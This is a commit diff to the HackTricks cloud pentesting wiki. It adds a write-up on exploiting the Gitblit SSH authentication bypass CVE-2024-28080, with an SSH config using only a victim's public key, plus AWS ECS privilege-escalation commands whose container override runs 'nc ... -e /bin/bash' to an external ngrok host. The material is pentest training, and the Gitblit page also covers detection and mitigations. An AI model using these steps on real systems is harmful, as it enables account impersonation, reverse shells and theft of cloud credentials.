Skip to content

Commit 7f43555

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents a7ce58f + 5bd2aaf commit 7f43555

File tree

5 files changed

+188
-8
lines changed

5 files changed

+188
-8
lines changed

src/SUMMARY.md

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,8 @@
99
# 🏭 Pentesting CI/CD
1010

1111
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
12+
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
13+
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
1214
- [Github Security](pentesting-ci-cd/github-security/README.md)
1315
- [Abusing Github Actions](pentesting-ci-cd/github-security/abusing-github-actions/README.md)
1416
- [Gh Actions - Artifact Poisoning](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md)
@@ -537,7 +539,3 @@
537539

538540
- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
539541
- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
540-
541-
542-
543-
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Gitblit Security
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## What is Gitblit
6+
7+
Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
8+
9+
## Topics
10+
11+
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
12+
13+
{{#ref}}
14+
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
15+
{{#endref}}
16+
17+
## References
18+
19+
- [Gitblit project](https://gitblit.com/)
20+
21+
{{#include ../../banners/hacktricks-training.md}}
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Summary
6+
7+
CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
8+
9+
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
10+
- Fixed: 1.10.0
11+
- Requirements to exploit:
12+
- Git over SSH enabled on the instance
13+
- Victim account has at least one SSH public key registered in Gitblit
14+
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
15+
16+
## Root cause (state leaks between SSH methods)
17+
18+
In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
19+
20+
Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
21+
22+
High‑level flawed flow:
23+
24+
1) Client offers username + public key (no signature yet)
25+
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
26+
3) Client cannot sign (no private key), so auth falls back to password
27+
4) Password auth sees a user already present in session and unconditionally returns success
28+
29+
## Step‑by‑step exploitation
30+
31+
- Collect a victim’s username and one of their public keys:
32+
- GitHub exposes public keys at https://github.com/<username>.keys
33+
- Public servers often expose authorized_keys
34+
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
35+
36+
Example SSH client config (no private key available):
37+
38+
```sshconfig
39+
# ~/.ssh/config
40+
Host gitblit-target
41+
HostName <host-or-ip>
42+
User <victim-username>
43+
PubkeyAuthentication yes
44+
PreferredAuthentications publickey,password
45+
IdentitiesOnly yes
46+
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
47+
```
48+
49+
Connect and press Enter at the password prompt (or type any string):
50+
51+
```bash
52+
ssh gitblit-target
53+
# or Git over SSH
54+
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
55+
```
56+
57+
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
58+
59+
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
60+
61+
## Impact
62+
63+
- Full impersonation of any Gitblit user with at least one registered SSH public key
64+
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
65+
- Potential administrative impact if targeting an admin user
66+
- Pure network exploit; no brute force or private key required
67+
68+
## Detection ideas
69+
70+
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
71+
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
72+
73+
## Mitigations
74+
75+
- Upgrade to Gitblit v1.10.0+
76+
- Until upgraded:
77+
- Disable Git over SSH on Gitblit, or
78+
- Restrict network access to the SSH service, and
79+
- Monitor for suspicious patterns described above
80+
- Rotate affected user credentials if compromise is suspected
81+
82+
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
83+
84+
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
85+
86+
- Presenting a legitimate public key for the target user (no private key)
87+
- Forcing the client to fail signing so the server falls back to password
88+
- Supplying any password while the password authenticator short‑circuits on leaked state
89+
90+
Practical tips:
91+
92+
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
93+
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
94+
- MINA SSHD integration pitfalls:
95+
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
96+
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
97+
98+
Related protocol/design notes and literature:
99+
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
100+
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
101+
102+
## References
103+
104+
- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
105+
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
106+
- [Apache MINA SSHD project](https://mina.apache.org/sshd-project/)
107+
- [PublickeyAuthenticator API](https://svn.apache.org/repos/infra/websites/production/mina/content/sshd-project/apidocs/org/apache/sshd/server/auth/pubkey/PublickeyAuthenticator.html)
108+
- [RFC 4252: The Secure Shell (SSH) Authentication Protocol](https://datatracker.ietf.org/doc/html/rfc4252)
109+
110+
111+
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,10 @@ VCS stands for **Version Control System**, this systems allows developers to **m
1212
- Gitlab
1313
- Bitbucket
1414
- Gitea
15+
- Gitblit
1516
- Cloud providers (they offer their own VCS platforms)
1617

18+
1719
## CI/CD Pipelines
1820

1921
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
@@ -101,7 +103,5 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
101103

102104
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
103105

104-
{{#include ../banners/hacktricks-training.md}}
105-
106-
107106

107+
{{#include ../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

Lines changed: 51 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,56 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
7979

8080
**Potential Impact:** Direct privesc to a different ECS role.
8181

82+
### `iam:PassRole`,`ecs:RunTask`
83+
An attacker that has `iam:PassRole` and `ecs:RunTask` permissions can start a new ECS task with modified **execution role**, **task role** and container's **command** values. The `ecs run-task` CLI command contains the `--overrides` flag which allows changing at runtime the `executionRoleArn`, `taskRoleArn` and container's `command` without touching the task definition.
84+
85+
The specified IAM roles for `taskRoleArn` and `executionRoleArn` must trust/allow to be assumed by the `ecs-tasks.amazonaws.com` in its trust policy.
86+
87+
Also, the attacker needs to know:
88+
- ECS cluster name
89+
- VPC Subnet
90+
- Security group (If no security group is specified the default one will be used)
91+
- Task Definition Name and revision
92+
- Name of the Container
93+
94+
```bash
95+
aws ecs run-task \
96+
--cluster <cluster-name> \
97+
--launch-type FARGATE \
98+
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
99+
--task-definition <task-definition:revision> \
100+
--overrides '
101+
{
102+
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
103+
"containerOverrides": [
104+
{
105+
"name": <container-name>,
106+
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
107+
}
108+
]
109+
}'
110+
```
111+
112+
In the code snippet above an attacker overrides only `taskRoleArn` value. However, the attacker must have `iam:PassRole` permission over the `taskRoleArn` specified in the command and the `executionRoleArn` specified in the task definition for the attack to happen.
113+
114+
If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command.
115+
116+
```sh
117+
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
118+
{
119+
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
120+
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
121+
"containerOverrides": [
122+
{
123+
"name": "<container-name>",
124+
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
125+
}
126+
]
127+
}'
128+
```
129+
130+
**Potential Impact:** Direct privesc to any ECS task role.
131+
82132
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
83133

84134
Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
@@ -149,7 +199,7 @@ aws ecs run-task \
149199

150200
This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
151201
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
152-
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
202+
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
153203

154204
> [!WARNING]
155205
> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.

0 commit comments

Comments
 (0)